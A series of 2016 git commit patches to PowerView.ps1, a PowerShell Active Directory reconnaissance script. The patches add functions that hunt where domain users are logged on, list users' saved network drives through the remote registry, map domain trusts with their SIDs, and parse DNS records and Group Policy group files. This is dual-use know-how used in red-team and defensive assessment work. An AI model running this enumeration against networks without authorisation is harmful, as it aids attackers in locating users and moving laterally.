$ZoneName, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones" + $DNSSearcher.filter="(objectClass=dnsNode)" + + if($DNSSearcher) { + $Results = $DNSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + try { + # convert/process the LDAP fields for each result + $Properties = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged + $Properties | Add-Member NoteProperty 'ZoneName' $ZoneName + + # convert the record and extract the properties + if ($Properties.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) { + # TODO: handle multiple nested records properly? + $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord[0] + } + else { + $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord + $Properites.dnsrecord = [System.Convert]::ToBase64String([byte]$Properites.dnsrecord) + } + + if($Record) { + $Record.psobject.properties | ForEach-Object { + $Properties | Add-Member NoteProperty $_.Name $_.Value + } + } + + $Properties + } + catch { + $Properties + } + } + $Results.dispose() + $DNSSearcher.dispose() + } +} + + filter Get-NetDomain { <# .SYNOPSIS -- cgit v1.2.3 From fbf6f30833cc7280671ea9cdb36f76e754e701ed Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Wed, 27 Apr 2016 19:11:49 -0400 Subject: Modified Convert-DNSRecord to return the base64 encoded record for record types not currently handled. --- Recon/PowerView.ps1 | 78 ++++++++++++++++++----------------------------------- 1 file changed, 26 insertions(+), 52 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 5433600..689a28f 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1794,71 +1794,48 @@ filter Convert-DNSRecord { $TimeStamp = "[static]" } + $DNSRecordObject = New-Object PSObject + if($RDataType -eq 1) { $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27] - - $DNSRecordObject = New-Object PSObject + $Data = $IP $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A' - $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial - $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL - $DNSRecordObject | Add-Member Noteproperty 'Age' $Age - $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp - $DNSRecordObject | Add-Member Noteproperty 'Data' $IP - $DNSRecordObject } elseif($RDataType -eq 2) { $NSName = Get-Name $DNSRecord[24..$DNSRecord.length] - - $DNSRecordObject = New-Object PSObject + $Data = $NSName $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS' - $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial - $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL - $DNSRecordObject | Add-Member Noteproperty 'Age' $Age - $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp - $DNSRecordObject | Add-Member Noteproperty 'Data' $NSName - $DNSRecordObject } elseif($RDataType -eq 5) { $Alias = Get-Name $DNSRecord[24..$DNSRecord.length] - - $DNSRecordObject = New-Object PSObject + $Data = $Alias $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME' - $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial - $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL - $DNSRecordObject | Add-Member Noteproperty 'Age' $Age - $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp - $DNSRecordObject | Add-Member Noteproperty 'Data' $Alias - $DNSRecordObject } elseif($RDataType -eq 6) { - # SOA record # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA' } elseif($RDataType -eq 12) { $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length] - - $DNSRecordObject = New-Object PSObject + $Data = $Ptr $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR' - $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial - $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL - $DNSRecordObject | Add-Member Noteproperty 'Age' $Age - $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp - $DNSRecordObject | Add-Member Noteproperty 'Data' $Ptr - $DNSRecordObject } elseif($RDataType -eq 13) { - # HINFO record # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO' } elseif($RDataType -eq 15) { - # MX record # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX' } elseif($RDataType -eq 16) { @@ -1870,36 +1847,33 @@ filter Convert-DNSRecord { $TXT += [char]$DNSRecord[$index++] } - $DNSRecordObject = New-Object PSObject + $Data = $TXT $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT' - $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial - $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL - $DNSRecordObject | Add-Member Noteproperty 'Age' $Age - $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp - $DNSRecordObject | Add-Member Noteproperty 'Data' $TXT - $DNSRecordObject } elseif($RDataType -eq 28) { - # AAAA record # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA' } elseif($RDataType -eq 33) { - # ARV record # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV' } else { - $DNSRecordObject = New-Object PSObject + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN' - $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial - $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL - $DNSRecordObject | Add-Member Noteproperty 'Age' $Age - $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp - $DNSRecordObject | Add-Member Noteproperty 'Data' $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) - $DNSRecordObject } + + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $Data + $DNSRecordObject } @@ -2070,7 +2044,6 @@ filter Get-DNSRecord { } else { $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord - $Properites.dnsrecord = [System.Convert]::ToBase64String([byte]$Properites.dnsrecord) } if($Record) { @@ -2082,6 +2055,7 @@ filter Get-DNSRecord { $Properties } catch { + Write-Warning "ERROR: $_" $Properties } } -- cgit v1.2.3 From 26cef85d358a2ac2acc44c1a199ac35b0e1bc17d Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Tue, 3 May 2016 22:52:36 -0400 Subject: Added Get-RegistryMountedDrive --- Recon/PowerView.ps1 | 126 +++++++++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 120 insertions(+), 6 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 689a28f..0cc4739 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1938,7 +1938,7 @@ filter Get-DNSZone { ) # $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones" - $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "DC=DomainDnsZones" + $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential $DNSSearcher.filter="(objectClass=dnsZone)" if($DNSSearcher) { @@ -8594,6 +8594,117 @@ filter Get-CachedRDPConnection { } +filter Get-RegistryMountedDrive { +<# + .SYNOPSIS + + Uses remote registry functionality to query all entries for the + the saved network mounted drive on a machine, separated by + user and target server. + + Note: This function requires administrative rights on the + machine you're enumerating. + + .PARAMETER ComputerName + + The hostname to query for RDP client information. + Defaults to localhost. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object for the remote connection. + + .EXAMPLE + + PS C:\> Get-RegistryMountedDrive + + Returns the saved network mounted drives for the local machine. + + .EXAMPLE + + PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local + + Returns the saved network mounted drives for the WINDOWS2.testlab.local machine + + .EXAMPLE + + PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local -Credential $Cred + + Returns the saved network mounted drives for the WINDOWS2.testlab.local machine using alternate credentials. + + .EXAMPLE + + PS C:\> Get-NetComputer | Get-RegistryMountedDrive + + Get the saved network mounted drives for all machines in the domain. +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + $Credential + ) + + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # HKEY_USERS + $HKU = 2147483651 + + try { + if($Credential) { + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue + } + else { + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue + } + + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } + + foreach ($UserSID in $UserSIDs) { + + try { + $UserName = Convert-SidToName $UserSID + + $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames + + ForEach($DriveLetter in $DriveLetters) { + $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue + $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue + $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue + if(-not $UserName) { $UserName = '' } + + if($RemotePath -and ($RemotePath -ne '')) { + $MountedDrive = New-Object PSObject + $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer + $MountedDrive | Add-Member Noteproperty 'UserName' $UserName + $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID + $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter + $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName + $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath + $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName + $MountedDrive + } + } + } + catch { + Write-Debug "Error: $_" + } + } + } + catch { + Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" + } +} + + filter Get-NetProcess { <# .SYNOPSIS @@ -10205,7 +10316,7 @@ function Invoke-EventHunter { [String] $TargetServer, - [String] + [String[]] $UserName, [String] @@ -10313,8 +10424,11 @@ function Invoke-EventHunter { } # if we get a specific username, only use that elseif($UserName) { - Write-Verbose "[*] Using target user '$UserName'..." - $TargetUsers = @( $UserName.ToLower() ) + # Write-Verbose "[*] Using target user '$UserName'..." + $TargetUsers = $UserName | ForEach-Object {$_.ToLower()} + if($TargetUsers -isnot [system.array]) { + $TargetUsers = @($TargetUsers) + } } # read in a target user list if we have one elseif($UserFile) { @@ -10353,13 +10467,13 @@ function Invoke-EventHunter { if($Up) { # try to enumerate if($Credential) { - Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { + Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { # filter for the target user set $TargetUsers -contains $_.UserName } } else { - Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { + Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { # filter for the target user set $TargetUsers -contains $_.UserName } -- cgit v1.2.3 From 0cedaf61421c747d9de2e033430474107040d3c8 Mon Sep 17 00:00:00 2001 From: Matt Kelly Date: Thu, 5 May 2016 19:12:33 -0500 Subject: Adds PSLoggedOn like functionality Adding in Get-LoggedOnLocal which uses HKU registry checks to see who is logged locally to a remote box and only requires user level access rights. The benefit over NetWkstaUserEnum is less user privileges required (admin for NetWkstaUserEnum) and is the same process PSLoggedOn uses. Invoke-PSLoggedOn launches both Get-LoggedOnLocal and Get-NetSessions and outputs the same format as PSLoggedOn.exe from Sysinternals. I did not change Invoke-UserHunter non-stealth to this option yet, but it is beneficial in that if you use both HKU and NetSessionEnum you only require basic user level rights not admin remote. --- Recon/PowerView.ps1 | 143 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 143 insertions(+) mode change 100644 => 100755 Recon/PowerView.ps1 (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 old mode 100644 new mode 100755 index 0cc4739..cc588c3 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -8087,6 +8087,149 @@ filter Get-NetSession { } +function Get-LoggedOnLocal { +<# + .SYNOPSIS + + This function will query the HKU registry values to retrieve the local + logged on users SID and then attempt and reverse it. + Adapted technique from Sysinternal's PSLoggedOn script. Benefit over + using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges + required (NetWkstaUserEnum requires remote admin access). + + + Note: This function requires only domain user rights on the + machine you're enumerating. + + Function: Get-LoggedOnLocal + Author: Matt Kelly, @BreakersAll; + Required Dependencies: @harmj0y's Powerview. + + .PARAMETER ComputerName + + The ComputerName to query for active sessions. + + .EXAMPLE + + PS C:\> Get-LoggedOnLocal + + Returns active sessions on the local host. + + .EXAMPLE + + PS C:\> Get-LoggedOnLocal -ComputerName sqlserver + + Returns active sessions on the 'sqlserver' host. + +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost' + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + # retrieve HKU remote registry values + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") + + # sort out bogus sid's like _class + $UserSID = $Reg.GetSubKeyNames() | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } + + # if successful, convert sid and print output + if ($UserSID) { + $UserName = Convert-SidToName $UserSID + + $LocalLoggedOnUser = New-Object PSObject + $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' $ComputerName + $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName + $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $UserSID + $LocalLoggedOnUser + } + else { + Write-Debug "Could not retrieve values for $ComputerName" + } + + Write-Debug "UserSIDs retrieved result: $Reg.GetSubKeyNames()" + } +} + + +function Invoke-PSLoggedOn { +<# + .SYNOPSIS + + This function replicates PSLoggedOn functionality, and leverages + Get-NetSession (netsessionenum) and remote registry values. + Same actions as PSLoggedOn except in PowerShell. + + Note: This function requires only domain user rights on the + machine you're enumerating. + + Function: Invoke-PSLoggedOn + Author: Matt Kelly, @BreakersAll; + Required Dependencies: PowerView. PSv2 + + .PARAMETER ComputerName + + The ComputerName to query for active sessions. + + .EXAMPLE + + PS C:\> Invoke-PSLoggedOn + + Returns active sessions on the local host. + + .EXAMPLE + + PS C:\> Invoke-PSLoggedOn -ComputerName sqlserver + + Returns active sessions on the 'sqlserver' host. + +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost' + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + $LoggedOnLocal = Get-LoggedOnLocal $ComputerName + $NetSessionUsers = Get-NetSession $ComputerName + + Write-Host "Users logged on locally to $ComputerName:" + $LoggedOnLocal + Write-Host "" + Write-Host "Users logged on via resource shares to $ComputerName:" + $NetSessionUsers + } +} + + filter Get-NetRDPSession { <# .SYNOPSIS -- cgit v1.2.3 From 6a39c26b069529bd18fd90d325c3f2a4002aa45b Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 9 May 2016 22:24:23 +0100 Subject: Retrieve Domain SIDs with -LDAP --- Recon/PowerView.ps1 | 6 ++++++ 1 file changed, 6 insertions(+) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 0cc4739..2ba8021 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -12309,6 +12309,7 @@ function Get-NetDomainTrust { if($LDAP -or $DomainController) { $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize + $SourceSID = Get-DomainSID -Domain $Domain -DomainController $DomainController if($TrustSearcher) { @@ -12341,8 +12342,11 @@ function Get-NetDomainTrust { 3 { "Bidirectional" } } $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) + $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value $DomainTrust | Add-Member Noteproperty 'SourceName' $Domain + $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] + $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}" $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustAttrib" $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" @@ -12854,7 +12858,9 @@ function Invoke-MapDomainTrust { # build the nicely-parsable custom output object $DomainTrust = New-Object PSObject $DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain" + $DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain" + $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType" $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection" $DomainTrust -- cgit v1.2.3 From 6ada127538b7a36db029c6dc8a5cd9d38ae7a968 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 9 May 2016 23:22:51 -0400 Subject: Began adding custom PSObject TypeNames to various PowerView output objects. --- Recon/PowerView.ps1 | 34 +++++++++++++++++++++++++++------- 1 file changed, 27 insertions(+), 7 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 0cc4739..b62f245 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -2512,7 +2512,9 @@ function Get-NetUser { $Results = $UserSearcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + $User = Convert-LDAPProperty -Properties $_.Properties + $User.PSObject.TypeNames.Add('PowerView.User') + $User } $Results.dispose() $UserSearcher.dispose() @@ -3937,7 +3939,9 @@ function Get-NetComputer { # return full data objects if ($FullData) { # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + $Computer = Convert-LDAPProperty -Properties $_.Properties + $Computer.PSObject.TypeNames.Add('PowerView.Computer') + $Computer } else { # otherwise we're just returning the DNS host name @@ -4648,7 +4652,9 @@ function Get-NetOU { $Results | Where-Object {$_} | ForEach-Object { if ($FullData) { # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + $OU = Convert-LDAPProperty -Properties $_.Properties + $OU.PSObject.TypeNames.Add('PowerView.OU') + $OU } else { # otherwise just returning the ADS paths of the OUs @@ -4764,7 +4770,9 @@ function Get-NetSite { $Results | Where-Object {$_} | ForEach-Object { if ($FullData) { # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + $Site = Convert-LDAPProperty -Properties $_.Properties + $Site.PSObject.TypeNames.Add('PowerView.Site') + $Site } else { # otherwise just return the site name @@ -4890,7 +4898,7 @@ function Get-NetSubnet { $SubnetProperties['Site'] = 'Error' } - New-Object -TypeName PSObject -Property $SubnetProperties + New-Object -TypeName PSObject -Property $SubnetProperties } } } @@ -5086,7 +5094,9 @@ function Get-NetGroup { # ignore the built in users and default domain user group if(!($GroupSid -match '^S-1-5-32-545|-513$')) { if($FullData) { - Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential + $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential + $Group.PSObject.TypeNames.Add('PowerView.Group') + $Group } else { if($RawSids) { @@ -5112,7 +5122,9 @@ function Get-NetGroup { # if we're returning full data objects if ($FullData) { # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + $Group = Convert-LDAPProperty -Properties $_.Properties + $Group.PSObject.TypeNames.Add('PowerView.Group') + $Group } else { # otherwise we're just returning the group name @@ -5414,6 +5426,7 @@ function Get-NetGroupMember { $GroupMember | Add-Member Noteproperty 'MemberSid' $MemberSid $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN + $GroupMember.PSObject.TypeNames.Add('PowerView.GroupMember') $GroupMember # if we're doing manual recursion @@ -7546,6 +7559,8 @@ function Get-NetLocalGroup { $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup + # add in our custom object + $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUser') $Offset = $NewIntPtr.ToInt64() $Offset += $Increment @@ -7601,6 +7616,7 @@ function Get-NetLocalGroup { $Group | Add-Member Noteproperty 'Group' ($_.name[0]) $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) $Group | Add-Member Noteproperty 'Description' ($_.Description[0]) + $Group.PSObject.TypeNames.Add('PowerView.LocalGroup') $Group } } @@ -7690,6 +7706,7 @@ function Get-NetLocalGroup { $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) } + $Member.PSObject.TypeNames.Add('PowerView.LocalUser') $Member # if the result is a group domain object and we're recursing, @@ -7740,6 +7757,7 @@ function Get-NetLocalGroup { $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet $Member | Add-Member Noteproperty 'PwdExpired' '' $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl + $Member.PSObject.TypeNames.Add('PowerView.LocalUser') $Member } } @@ -9636,6 +9654,7 @@ function Invoke-UserHunter { else { $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null } + $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') $FoundUser } } @@ -9681,6 +9700,7 @@ function Invoke-UserHunter { else { $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null } + $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') $FoundUser } } -- cgit v1.2.3 From 9f7906280d4eca7717892d9ec0af3c3f5ddef015 Mon Sep 17 00:00:00 2001 From: Andy Robbins Date: Tue, 10 May 2016 00:01:38 -0400 Subject: Added name resolution to custom PSObject generated by Invoke-UserHunter. --- Recon/PowerView.ps1 | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index b62f245..6c0d896 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -9646,6 +9646,26 @@ function Invoke-UserHunter { $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName + # Try to resolve the DNS hostname of $Cname + if ($Cname -match '[a-zA-Z]') { + Try { + $CNameDNSName = [System.Net.Dns]::GetHostByName($CName).Hostname + } + Catch { + $CNameDNSName = $Cname + } + $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName + } + else { + Try { + $CNameDNSName = [System.Net.Dns]::Resolve($Cname).HostName + } + Catch { + $CNameDNSName = $Cname + } + $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName + } + # see if we're checking to see if we have local admin access on this machine if ($CheckAccess) { $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName -- cgit v1.2.3 From 7b4becfe72d6ec5ae3dfec6aa375152a95fe4329 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Tue, 10 May 2016 00:14:37 -0400 Subject: Added Invoke-UserHunter field to keep output objects in sync. --- Recon/PowerView.ps1 | 1 + 1 file changed, 1 insertion(+) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 6c0d896..24691a5 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -9711,6 +9711,7 @@ function Invoke-UserHunter { $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null + $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null # see if we're checking to see if we have local admin access on this machine if ($CheckAccess) { -- cgit v1.2.3 From 3e936765f5674823a68aa96f7fc100f4fe9c450e Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 12 May 2016 21:03:20 +0100 Subject: Fix groupsxml parsing --- Recon/PowerView.ps1 | 42 ++++++++++++++++++++++++++++++++---------- 1 file changed, 32 insertions(+), 10 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index bc52035..6763acf 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6091,7 +6091,7 @@ function Get-GroupsXML { # so we can cd/dir the new drive $GroupsXMLPath = $RandDrive + ":\" + $FilePath - } + } } process { @@ -6106,21 +6106,21 @@ function Get-GroupsXML { $MemberOf = @() # extract the localgroup sid for memberof - $LocalSid = $_.Properties.GroupSid + $LocalSid = $_.Group.Properties.GroupSid if(!$LocalSid) { - if($_.Properties.groupName -match 'Administrators') { + if($_.Group.Properties.groupName -match 'Administrators') { $LocalSid = 'S-1-5-32-544' } - elseif($_.Properties.groupName -match 'Remote Desktop') { + elseif($_.Group.Properties.groupName -match 'Remote Desktop') { $LocalSid = 'S-1-5-32-555' } else { - $LocalSid = $_.Properties.groupName + $LocalSid = $_.Group.Properties.groupName } } $MemberOf = @($LocalSid) - $_.Properties.members | ForEach-Object { + $_.Group.Properties.members | ForEach-Object { # process each member of the above local group $_ | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { @@ -6143,16 +6143,38 @@ function Get-GroupsXML { } if($ResolveSids) { - $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} - $Members = $Members | ForEach-Object {Convert-SidToName $_} + $Memberof = $Memberof | ForEach-Object { + $memof = $_ + if ($memof.StartsWith("S-1-")) + { + try { + Convert-SidToName $memof + } catch { + $memof + } + } else { + $memof + } + } + $Members= $Members | ForEach-Object { + $member = $_ + if ($member.StartsWith("S-1-")) + { + try { + Convert-SidToName $member + } catch { + $member + } + } else { + $member + } + } } if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} if($Members -isnot [system.array]) {$Members = @($Members)} $GPOProperties = @{ - 'GPODisplayName' = $GPODisplayName - 'GPOName' = $GPOName 'GPOPath' = $GroupsXMLPath 'Filters' = $Filters 'MemberOf' = $Memberof -- cgit v1.2.3 From 56824c1799cea3471e839c01fcd5a338134f8147 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 13 May 2016 01:07:24 -0400 Subject: Get-NetDomainTrust now gets an -API option to enumerate trusts through DsEnumerateDomainTrusts() Logic bug fix for Get-DNSZone Bug fix for Get-NetLocalGroup --- Recon/PowerView.ps1 | 185 +++++++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 169 insertions(+), 16 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index bc52035..e7f928f 100644 --- 